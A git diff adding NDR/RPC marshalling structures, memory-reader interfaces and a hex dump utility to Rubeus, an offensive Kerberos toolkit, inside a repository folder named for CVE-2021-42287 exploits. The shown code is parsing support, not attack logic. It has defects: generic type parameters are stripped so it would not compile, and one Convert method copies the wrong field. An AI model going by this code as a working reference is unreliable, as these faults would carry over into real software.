+ IntPtr curr = reader.ReadIntPtr(p + i * reader.PointerSize); + if (curr == IntPtr.Zero) + { + ret[i] = default; + } + else + { + ret[i] = load_type(curr); + } + } + return ret; + } + + internal static T[] ReadPointerArray(this IMemoryReader reader, IntPtr p, int count) where T : struct + { + return ReadPointerArray(reader, p, count, i => reader.ReadStruct(i)); + } + + internal static RPC_VERSION ToRpcVersion(this Version version) + { + return new RPC_VERSION() { MajorVersion = (ushort)version.Major, MinorVersion = (ushort)version.Minor }; + } + + internal static int GetPrimitiveTypeSize() where T : struct + { + if (!typeof(T).IsPrimitive) + { + throw new ArgumentException($"Type {typeof(T)} not primitive"); + } + + // The "native" size of a char is 1 due to defaulting to ANSI! + if (typeof(T) == typeof(char)) + { + return 2; + } + + return System.Runtime.InteropServices.Marshal.SizeOf(typeof(T)); + } + + internal static int CalculateAlignment(int offset, int alignment) + { + int result = alignment - (offset % alignment); + if (result < alignment) + { + return result; + } + return 0; + } + + internal static U[] Cast(this T[] array) + { + return (U[])(Array)array; + } + + internal static readonly Guid IID_IUnknown = new Guid("00000000-0000-0000-C000-000000000046"); + internal static readonly Guid IID_IDispatch = new Guid("00020400-0000-0000-C000-000000000046"); + internal static readonly Guid IID_IPSFactoryBuffer = new Guid("D5F569D0-593B-101A-B569-08002B2DBF7A"); + internal static readonly Guid DCE_TransferSyntax = new Guid("8A885D04-1CEB-11C9-9FE8-08002B104860"); + internal static readonly Guid NDR64_TransferSyntax = new Guid("71710533-BEBA-4937-8319-B5DBEF9CCC36"); + internal static readonly Guid FakeNDR64_TransferSyntax = new Guid("B4537DA9-3D03-4F6B-B594-52B2874EE9D0"); + } + + [StructLayout(LayoutKind.Sequential)] + struct ProxyFileInfo32 : IConvertToNative + { + public IntPtr32 pProxyVtblList; + public IntPtr32 pStubVtblList; + public IntPtr32 pNamesArray; + public IntPtr32 pDelegatedIIDs; + public IntPtr32 pIIDLookupRtn; + public ushort TableSize; + public ushort TableVersion; + + public ProxyFileInfo Convert() + { + ProxyFileInfo ret = new ProxyFileInfo + { + pProxyVtblList = pProxyVtblList.Convert(), + pStubVtblList = pStubVtblList.Convert(), + pNamesArray = pNamesArray.Convert(), + pDelegatedIIDs = pDelegatedIIDs.Convert(), + pIIDLookupRtn = pIIDLookupRtn.Convert(), + TableSize = TableSize, + TableVersion = TableVersion + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(ProxyFileInfo32))] + struct ProxyFileInfo + { + public IntPtr pProxyVtblList; + public IntPtr pStubVtblList; + public IntPtr pNamesArray; + public IntPtr pDelegatedIIDs; + public IntPtr pIIDLookupRtn; + public ushort TableSize; + public ushort TableVersion; + + public string[] GetNames(IMemoryReader reader) + { + return reader.ReadPointerArray(pNamesArray, TableSize, i => reader.ReadAnsiStringZ(i)); + } + + public Guid[] GetBaseIids(IMemoryReader reader) + { + return reader.ReadPointerArray(pDelegatedIIDs, TableSize, i => reader.ReadComGuid(i)); + } + + public CInterfaceStubHeader[] GetStubs(IMemoryReader reader) + { + return reader.ReadPointerArray(pStubVtblList, TableSize); + } + } + + [StructLayout(LayoutKind.Sequential)] + struct CInterfaceStubHeader32 : IConvertToNative + { + public IntPtr32 piid; + public IntPtr32 pServerInfo; + public int DispatchTableCount; + public IntPtr32 pDispatchTable; + + public CInterfaceStubHeader Convert() + { + CInterfaceStubHeader ret = new CInterfaceStubHeader + { + piid = piid.Convert(), + pServerInfo = pServerInfo.Convert(), + DispatchTableCount = DispatchTableCount, + pDispatchTable = pDispatchTable.Convert() + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(CInterfaceStubHeader32))] + struct CInterfaceStubHeader + { + public IntPtr piid; + public IntPtr pServerInfo; + public int DispatchTableCount; + public IntPtr pDispatchTable; + + public Guid GetIid(IMemoryReader reader) + { + return reader.ReadComGuid(piid); + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MIDL_STUB_DESC32 : IConvertToNative + { + public IntPtr32 RpcInterfaceInformation; + public IntPtr32 pfnAllocate; + public IntPtr32 pfnFree; + public IntPtr32 pGenericBindingInfo; + public IntPtr32 apfnNdrRundownRoutines; + public IntPtr32 aGenericBindingRoutinePairs; + public IntPtr32 apfnExprEval; + public IntPtr32 aXmitQuintuple; + public IntPtr32 pFormatTypes; + public int fCheckBounds; + public int Version; + public IntPtr32 pMallocFreeStruct; + public int MIDLVersion; + public IntPtr32 CommFaultOffsets; + public IntPtr32 aUserMarshalQuadruple; + public IntPtr32 NotifyRoutineTable; + public IntPtr32 mFlags; + public IntPtr32 CsRoutineTables; + public IntPtr32 ProxyServerInfo; + public IntPtr32 pExprInfo; + public MIDL_STUB_DESC Convert() + { + MIDL_STUB_DESC ret = new MIDL_STUB_DESC + { + RpcInterfaceInformation = RpcInterfaceInformation.Convert(), + pfnAllocate = pfnAllocate.Convert(), + pfnFree = pfnFree.Convert(), + pGenericBindingInfo = pGenericBindingInfo.Convert(), + apfnNdrRundownRoutines = apfnNdrRundownRoutines.Convert(), + aGenericBindingRoutinePairs = aGenericBindingRoutinePairs.Convert(), + apfnExprEval = apfnExprEval.Convert(), + aXmitQuintuple = aXmitQuintuple.Convert(), + pFormatTypes = pFormatTypes.Convert(), + fCheckBounds = fCheckBounds, + Version = Version, + pMallocFreeStruct = pMallocFreeStruct.Convert(), + MIDLVersion = MIDLVersion, + CommFaultOffsets = CommFaultOffsets.Convert(), + aUserMarshalQuadruple = aUserMarshalQuadruple.Convert(), + NotifyRoutineTable = NotifyRoutineTable.Convert(), + mFlags = mFlags.Convert(), + CsRoutineTables = CsRoutineTables.Convert(), + ProxyServerInfo = ProxyServerInfo.Convert(), + pExprInfo = pExprInfo.Convert() + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MIDL_SERVER_INFO32 : IConvertToNative + { + public IntPtr32 pStubDesc; + public IntPtr32 DispatchTable; + public IntPtr32 ProcString; + public IntPtr32 FmtStringOffset; + public IntPtr32 ThunkTable; + public IntPtr32 pTransferSyntax; + public IntPtr32 nCount; + public IntPtr32 pSyntaxInfo; + public MIDL_SERVER_INFO Convert() + { + MIDL_SERVER_INFO ret = new MIDL_SERVER_INFO + { + pStubDesc = pStubDesc.Convert(), + DispatchTable = DispatchTable.Convert(), + ProcString = ProcString.Convert(), + FmtStringOffset = FmtStringOffset.Convert(), + ThunkTable = ThunkTable.Convert(), + pTransferSyntax = pTransferSyntax.Convert(), + nCount = nCount.Convert(), + pSyntaxInfo = pSyntaxInfo.Convert() + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_DISPATCH_TABLE32 : IConvertToNative + { + public int DispatchTableCount; + public IntPtr32 DispatchTable; + public IntPtr32 Reserved; + public RPC_DISPATCH_TABLE Convert() + { + RPC_DISPATCH_TABLE ret = new RPC_DISPATCH_TABLE + { + DispatchTableCount = DispatchTableCount, + DispatchTable = DispatchTable.Convert(), + Reserved = Reserved.Convert() + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_SERVER_INTERFACE32 : IConvertToNative + { + public int Length; + public RPC_SYNTAX_IDENTIFIER InterfaceId; + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr32 DispatchTable; + public int RpcProtseqEndpointCount; + public IntPtr32 RpcProtseqEndpoint; + public IntPtr32 DefaultManagerEpv; + public IntPtr32 InterpreterInfo; + public int Flags; + public RPC_SERVER_INTERFACE Convert() + { + RPC_SERVER_INTERFACE ret = new RPC_SERVER_INTERFACE + { + Length = Length, + InterfaceId = InterfaceId, + TransferSyntax = TransferSyntax, + DispatchTable = DispatchTable.Convert(), + RpcProtseqEndpointCount = RpcProtseqEndpointCount, + RpcProtseqEndpoint = RpcProtseqEndpoint.Convert(), + DefaultManagerEpv = DefaultManagerEpv.Convert(), + InterpreterInfo = InterpreterInfo.Convert(), + Flags = Flags + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MIDL_SYNTAX_INFO32 : IConvertToNative + { + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr32 DispatchTable; // RPC_DISPATCH_TABLE + public IntPtr32 ProcString; // PFORMAT_STRING + public IntPtr32 FmtStringOffset; // const unsigned short* + public IntPtr32 TypeString; // PFORMAT_STRING + public IntPtr32 aUserMarshalQuadruple; // const void* + public IntPtr32 pMethodProperties; // const MIDL_INTERFACE_METHOD_PROPERTIES* + public IntPtr32 pReserved2; + + public MIDL_SYNTAX_INFO Convert() + { + MIDL_SYNTAX_INFO ret = new MIDL_SYNTAX_INFO + { + TransferSyntax = TransferSyntax, + DispatchTable = DispatchTable.Convert(), + ProcString = ProcString.Convert(), + FmtStringOffset = ProcString.Convert(), + TypeString = TypeString.Convert(), + aUserMarshalQuadruple = aUserMarshalQuadruple.Convert(), + pMethodProperties = pMethodProperties.Convert(), + pReserved2 = pReserved2.Convert() + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(MIDL_SYNTAX_INFO32))] + internal struct MIDL_SYNTAX_INFO + { + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr DispatchTable; // RPC_DISPATCH_TABLE + public IntPtr ProcString; // PFORMAT_STRING + public IntPtr FmtStringOffset; // const unsigned short* + public IntPtr TypeString; // PFORMAT_STRING + public IntPtr aUserMarshalQuadruple; // const void* + public IntPtr pMethodProperties; // const MIDL_INTERFACE_METHOD_PROPERTIES* + public IntPtr pReserved2; + } + + [Flags] + internal enum RpcFlags : uint + { + HasPipes = 0x0001, + Message = 0x01000000, + AutoComplete = 0x08000000, + LocalCall = 0x10000000, + InputSynchronous = 0x20000000, + Asynchronous = 0x40000000, + NonNdr = 0x80000000, + HasMultiSyntaxes = 0x02000000, + HasCallback = 0x04000000, + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(MIDL_STUB_DESC32))] + internal struct MIDL_STUB_DESC + { + public IntPtr RpcInterfaceInformation; + public IntPtr pfnAllocate; + public IntPtr pfnFree; + public IntPtr pGenericBindingInfo; + public IntPtr apfnNdrRundownRoutines; + public IntPtr aGenericBindingRoutinePairs; + public IntPtr apfnExprEval; + public IntPtr aXmitQuintuple; + public IntPtr pFormatTypes; + public int fCheckBounds; + /* Ndr library version. */ + public int Version; + public IntPtr pMallocFreeStruct; + public int MIDLVersion; + public IntPtr CommFaultOffsets; + // New fields for version 3.0+ + public IntPtr aUserMarshalQuadruple; + // Notify routines - added for NT5, MIDL 5.0 + public IntPtr NotifyRoutineTable; + public IntPtr mFlags; + // International support routines - added for 64bit post NT5 + public IntPtr CsRoutineTables; + public IntPtr ProxyServerInfo; + public IntPtr pExprInfo; + + public NDR_EXPR_DESC GetExprDesc(IMemoryReader reader) + { + if (pExprInfo != IntPtr.Zero) + { + return reader.ReadStruct(pExprInfo); + } + return new NDR_EXPR_DESC(); + } + + public RpcFlags GetFlags() + { + return (RpcFlags)(uint)mFlags.ToInt32(); + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(MIDL_SERVER_INFO32))] + internal struct MIDL_SERVER_INFO + { + public IntPtr pStubDesc; + public IntPtr DispatchTable; + public IntPtr ProcString; + public IntPtr FmtStringOffset; + public IntPtr ThunkTable; + public IntPtr pTransferSyntax; + public IntPtr nCount; + public IntPtr pSyntaxInfo; + + public MIDL_STUB_DESC GetStubDesc(IMemoryReader reader) + { + if (pStubDesc == IntPtr.Zero) + { + return new MIDL_STUB_DESC(); + } + return reader.ReadStruct(pStubDesc); + } + + public IntPtr[] GetDispatchTable(IMemoryReader reader, int dispatch_count) + { + if (DispatchTable == IntPtr.Zero) + { + return new IntPtr[dispatch_count]; + } + return reader.ReadArray(DispatchTable, dispatch_count); + } + + public RPC_SYNTAX_IDENTIFIER GetTransferSyntax(IMemoryReader reader) + { + if (pTransferSyntax == IntPtr.Zero) + { + return new RPC_SYNTAX_IDENTIFIER() { SyntaxGUID = NdrNativeUtils.DCE_TransferSyntax }; + } + return reader.ReadStruct(pTransferSyntax); + } + + public MIDL_SYNTAX_INFO[] GetSyntaxInfo(IMemoryReader reader) + { + if (nCount == IntPtr.Zero || pSyntaxInfo == IntPtr.Zero) + { + return new MIDL_SYNTAX_INFO[0]; + } + return reader.ReadArray(pSyntaxInfo, nCount.ToInt32()); + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_VERSION + { + public ushort MajorVersion; + public ushort MinorVersion; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_SYNTAX_IDENTIFIER + { + public Guid SyntaxGUID; + public RPC_VERSION SyntaxVersion; + + public RPC_SYNTAX_IDENTIFIER(Guid guid, ushort major, ushort minor) + { + SyntaxGUID = guid; + SyntaxVersion = new RPC_VERSION() { MajorVersion = major, MinorVersion = minor }; + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(RPC_DISPATCH_TABLE32))] + internal struct RPC_DISPATCH_TABLE + { + public int DispatchTableCount; + public IntPtr DispatchTable; // RPC_DISPATCH_FUNCTION* + public IntPtr Reserved; + + public IntPtr[] GetDispatchTable(IMemoryReader reader) + { + return reader.ReadArray(DispatchTable, DispatchTableCount); + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_PROTSEQ_ENDPOINT32 : IConvertToNative + { + public IntPtr32 RpcProtocolSequence; + public IntPtr32 Endpoint; + + public RPC_PROTSEQ_ENDPOINT Convert() + { + RPC_PROTSEQ_ENDPOINT ret = new RPC_PROTSEQ_ENDPOINT(); + ret.RpcProtocolSequence = RpcProtocolSequence.Convert(); + ret.Endpoint = Endpoint.Convert(); + return ret; + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(RPC_PROTSEQ_ENDPOINT32))] + internal struct RPC_PROTSEQ_ENDPOINT + { + public IntPtr RpcProtocolSequence; + public IntPtr Endpoint; + + public string GetRpcProtocolSequence(IMemoryReader reader) + { + if (RpcProtocolSequence == IntPtr.Zero) + { + return string.Empty; + } + return reader.ReadAnsiStringZ(RpcProtocolSequence); + } + + public string GetEndpoint(IMemoryReader reader) + { + if (Endpoint == IntPtr.Zero) + { + return string.Empty; + } + return reader.ReadAnsiStringZ(Endpoint); + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(RPC_SERVER_INTERFACE32))] + internal struct RPC_SERVER_INTERFACE + { + public int Length; + public RPC_SYNTAX_IDENTIFIER InterfaceId; + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr DispatchTable; // PRPC_DISPATCH_TABLE + public int RpcProtseqEndpointCount; + public IntPtr RpcProtseqEndpoint; // PRPC_PROTSEQ_ENDPOINT + public IntPtr DefaultManagerEpv; + public IntPtr InterpreterInfo; // MIDL_SERVER_INFO + public int Flags; + + public RPC_DISPATCH_TABLE GetDispatchTable(IMemoryReader reader) + { + if (DispatchTable == IntPtr.Zero) + { + return new RPC_DISPATCH_TABLE(); + } + + return reader.ReadStruct(DispatchTable); + } + + public MIDL_SERVER_INFO GetServerInfo(IMemoryReader reader) + { + if (InterpreterInfo == IntPtr.Zero) + { + return new MIDL_SERVER_INFO(); + } + return reader.ReadStruct(InterpreterInfo); + } + + public RPC_PROTSEQ_ENDPOINT[] GetProtSeq(IMemoryReader reader) + { + if (RpcProtseqEndpoint == IntPtr.Zero || RpcProtseqEndpointCount == 0) + { + return new RPC_PROTSEQ_ENDPOINT[0]; + } + return reader.ReadArray(RpcProtseqEndpoint, RpcProtseqEndpointCount); + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct NDR_EXPR_DESC32 : IConvertToNative + { + public IntPtr32 pOffset; + public IntPtr32 pFormatExpr; + + public NDR_EXPR_DESC Convert() + { + NDR_EXPR_DESC ret = new NDR_EXPR_DESC(); + ret.pOffset = pOffset.Convert(); + ret.pFormatExpr = pFormatExpr.Convert(); + return ret; + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(NDR_EXPR_DESC32))] + internal struct NDR_EXPR_DESC + { + public IntPtr pOffset; + public IntPtr pFormatExpr; + } + + [Flags] + internal enum MidlTypePicklingInfoFlags + { + None = 0, + NewCorrDesc = 0x1, + Oicf = 0x2, + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MIDL_TYPE_PICKLING_INFO + { + public int Version; + public MidlTypePicklingInfoFlags Flags; + // UINT_PTR Reserved[3]; + } + + [Flags] + enum NdrInterpreterFlags : byte + { + FullPtrUsed = 0x01, + RpcSsAllocUsed = 0x02, + ObjectProc = 0x04, + HasRpcFlags = 0x08, + IgnoreObjectException = 0x10, + HasCommOrFault = 0x20, + UseNewInitRoutines = 0x40, + } + + [StructLayout(LayoutKind.Sequential)] + struct NdrProcHeaderExts + { + public byte Size; + public NdrInterpreterOptFlags2 Flags2; + public ushort ClientCorrHint; + public ushort ServerCorrHint; + public ushort NotifyIndex; + } + + [StructLayout(LayoutKind.Sequential)] + struct NdrProcHeaderExts64 + { + public byte Size; + public NdrInterpreterOptFlags2 Flags2; + public ushort ClientCorrHint; + public ushort ServerCorrHint; + public ushort NotifyIndex; + public ushort FloatArgMask; + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/NdrParser.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/NdrParser.cs new file mode 100644 index 0000000..12bbf89 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Ndr/NdrParser.cs @@ -0,0 +1,81 @@ +// Copyright 2018 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +// NOTE: This file is a modified version of NdrParser.cs from OleViewDotNet +// https://github.com/tyranid/oleviewdotnet. It's been relicensed from GPLv3 by +// the original author James Forshaw to be used under the Apache License for this +// project. + +using Rubeus.Utilities.Memory; +using Rubeus.Win32; +//using NtApiDotNet.Win32.Debugger; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Linq; +using System.Runtime.InteropServices; + +namespace Rubeus.Ndr +{ +#pragma warning disable 1591 + [Flags] + [Serializable] + public enum NdrInterpreterOptFlags : byte + { + ServerMustSize = 0x01, + ClientMustSize = 0x02, + HasReturn = 0x04, + HasPipes = 0x08, + HasAsyncUuid = 0x20, + HasExtensions = 0x40, + HasAsyncHandle = 0x80, + } + + [Flags] + [Serializable] + public enum NdrInterpreterOptFlags2 : byte + { + HasNewCorrDesc = 0x01, + ClientCorrCheck = 0x02, + ServerCorrCheck = 0x04, + HasNotify = 0x08, + HasNotify2 = 0x10, + HasComplexReturn = 0x20, + HasRangeOnConformance = 0x40, + HasBigByValParam = 0x80, + Valid = HasNewCorrDesc | ClientCorrCheck | ServerCorrCheck | HasNotify | HasNotify2 | HasRangeOnConformance + } + +#pragma warning restore 1591 + + + + /// + /// Flags for the parser. + /// + [Flags] + public enum NdrParserFlags + { + /// + /// No flags. + /// + None = 0, + /// + /// Ignore processing any complex user marshal types. + /// + IgnoreUserMarshal = 1, + } + + +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Memory/CrossBitnessTypeAttribute.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Memory/CrossBitnessTypeAttribute.cs new file mode 100644 index 0000000..b096e74 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Memory/CrossBitnessTypeAttribute.cs @@ -0,0 +1,40 @@ +// Copyright 2018 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.Reflection; + +namespace Rubeus.Utilities.Memory +{ + internal class CrossBitnessTypeAttribute : Attribute + { + //private Lazy _base_method; + public Type CrossBitnessType { get; } + + private static MethodInfo GetMethodInfo(Type cross_bitness_type) + { + return null; + } + + public CrossBitnessTypeAttribute(Type cross_bitness_type) + { + + } + + public int GetSize() + { + return System.Runtime.InteropServices.Marshal.SizeOf(CrossBitnessType); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Memory/IMemoryReader.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Memory/IMemoryReader.cs new file mode 100644 index 0000000..ee5513d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Memory/IMemoryReader.cs @@ -0,0 +1,62 @@ +// Copyright 2018 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.IO; +using System.Runtime.InteropServices; + +namespace Rubeus.Utilities.Memory +{ + internal interface IConvertToNative where T : struct + { + T Convert(); + } + + [StructLayout(LayoutKind.Sequential)] + internal struct IntPtr32 : IConvertToNative + { + public int value; + + public IntPtr Convert() + { + return new IntPtr(value); + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct UIntPtr32 : IConvertToNative + { + public uint value; + + public UIntPtr Convert() + { + return new UIntPtr(value); + } + } + + internal interface IMemoryReader + { + byte ReadByte(IntPtr address); + byte[] ReadBytes(IntPtr address, int length); + short ReadInt16(IntPtr address); + IntPtr ReadIntPtr(IntPtr address); + int ReadInt32(IntPtr address); + T ReadStruct(IntPtr address) where T : struct; + T[] ReadArray(IntPtr address, int count) where T : struct; + BinaryReader GetReader(IntPtr address); + bool InProcess { get; } + int PointerSize { get; } + string ReadAnsiStringZ(IntPtr address); + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Memory/SafeBufferWrapper.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Memory/SafeBufferWrapper.cs new file mode 100644 index 0000000..3ea84ac --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Memory/SafeBufferWrapper.cs @@ -0,0 +1,34 @@ +// Copyright 2020 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.Runtime.InteropServices; + +namespace Rubeus.Utilities.Memory +{ + internal class SafeBufferWrapper : SafeBuffer + { + public SafeBufferWrapper(IntPtr buffer) + : base(false) + { + Initialize(int.MaxValue); + handle = buffer; + } + + protected override bool ReleaseHandle() + { + return true; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Text/BinaryEncoding.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Text/BinaryEncoding.cs new file mode 100644 index 0000000..1bf6e51 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Text/BinaryEncoding.cs @@ -0,0 +1,109 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System.Text; + +namespace Rubeus.Utilities.Text +{ + /// + /// Encoding object which converts 1 to 1 with bytes. + /// + public sealed class BinaryEncoding : Encoding + { + /// + /// Default instance of the encoding. + /// + public static readonly BinaryEncoding Instance = new BinaryEncoding(); + + /// + /// Get the encoding name. + /// + public override string EncodingName => "Binary"; + + /// + /// Get byte count for characters. + /// + /// The character array. + /// Index into the array. + /// Number of characters in the array to use. + /// The number of bytes this character array requires. + public override int GetByteCount(char[] chars, int index, int count) => count; + + /// + /// Get bytes for characters. + /// + /// The character array. + /// Index into the array. + /// Number of characters in the array to use. + /// The index into the byte array. + /// The byte array to copy into. + /// The number of bytes generated. + public override int GetBytes(char[] chars, int charIndex, int charCount, byte[] bytes, int byteIndex) + { + for (int i = 0; i < charCount; ++i) + { + bytes[byteIndex + i] = (byte)chars[charIndex + i]; + } + + return charCount; + } + + /// + /// Get the character count for bytes. + /// + /// The byte array. + /// Index into the array. + /// Number of bytes in the array to use. + /// The number of characters this byte array requires. + public override int GetCharCount(byte[] bytes, int index, int count) => count; + + /// + /// Get byte count for characters. + /// + /// The character array. + /// Index into the array. + /// Number of bytes in the array to use. + /// The index into the byte array. + /// The byte array to copy into. + /// The number of characters generated. + public override int GetChars(byte[] bytes, int byteIndex, int byteCount, char[] chars, int charIndex) + { + for (int i = 0; i < byteCount; ++i) + { + chars[charIndex + i] = (char)bytes[byteIndex + i]; + } + + return byteCount; + } + + /// + /// Get maximum bytes for a number of characters. + /// + /// + /// + public override int GetMaxByteCount(int charCount) => charCount; + + /// + /// Get maximum characters for a number of bytes. + /// + /// + /// + public override int GetMaxCharCount(int byteCount) => byteCount; + + /// + /// Indicates if the encoding is a single byte. + /// + public override bool IsSingleByte => true; + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Text/HexDumpBuilder.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Text/HexDumpBuilder.cs new file mode 100644 index 0000000..a23d8eb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Utilities/Text/HexDumpBuilder.cs @@ -0,0 +1,315 @@ +// Copyright 2020 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Rubeus.Utilities.Text +{ + /// + /// Class to build a hex dump from a stream of bytes. + /// + public sealed class HexDumpBuilder + { + private readonly Stream _data = null; + private readonly bool _can_write; + private readonly StringBuilder _builder = new StringBuilder(); + private readonly bool _print_address; + private readonly bool _print_ascii; + private readonly bool _hide_repeating; + private readonly long _address_offset; + private const int CHUNK_LIMIT = 256; + private byte[] _last_line = null; + private int _repeat_count = 0; + + private int GetDataLeft() + { + return (int)(_data.Length - _data.Position); + } + + private bool IsRepeatingLine(byte[] line) + { + if (!_hide_repeating) + return false; + byte[] last_line = _last_line; + _last_line = line; + if (last_line == null) + { + return false; + } + if (last_line.Length != line.Length) + { + return false; + } + + for (int i = 0; i < last_line.Length; ++i) + { + if (last_line[i] != line[i]) + return false; + } + return true; + } + + private void AppendChunks() + { + while (GetDataLeft() >= 16) + { + long curr_pos = _data.Position + _address_offset; + byte[] line = new byte[16]; + _data.Read(line, 0, 16); + + if (IsRepeatingLine(line)) + { + _repeat_count++; + continue; + } + else if(_repeat_count > 0) + { + _builder.AppendLine($"-> REPEATED {_repeat_count} LINES"); + _repeat_count = 0; + } + + if (_print_address) + { + if (curr_pos < uint.MaxValue) + { + _builder.AppendFormat("{0:X08}: ", curr_pos); + } + else + { + _builder.AppendFormat("{0:X016}: ", curr_pos); + } + } + for (int j = 0; j < 16; ++j) + { + _builder.AppendFormat("{0:X02} ", line[j]); + } + + if (_print_ascii) + { + _builder.Append(" - "); + for (int j = 0; j < 16; ++j) + { + byte b = line[j]; + char c = b >= 32 && b < 127 ? (char)b : '.'; + _builder.Append(c); + } + } + _builder.AppendLine(); + } + } + + private void AppendTrailing() + { + int line_length = GetDataLeft(); + System.Diagnostics.Debug.Assert(line_length < 16); + if (line_length == 0) + { + return; + } + + if (_repeat_count > 0) + { + _builder.AppendLine($"-> REPEATED {_repeat_count} LINES"); + } + + int j = 0; + if (_print_address) + { + long address = _data.Position + _address_offset; + if (address < uint.MaxValue) + { + _builder.AppendFormat("{0:X08}: ", address); + } + else + { + _builder.AppendFormat("{0:X016}: ", address); + } + } + + byte[] line = new byte[line_length]; + _data.Read(line, 0, line.Length); + + for (; j < line_length; ++j) + { + _builder.AppendFormat("{0:X02} ", line[j]); + } + for (; j < 16; ++j) + { + _builder.Append(" "); + } + if (_print_ascii) + { + _builder.Append(" - 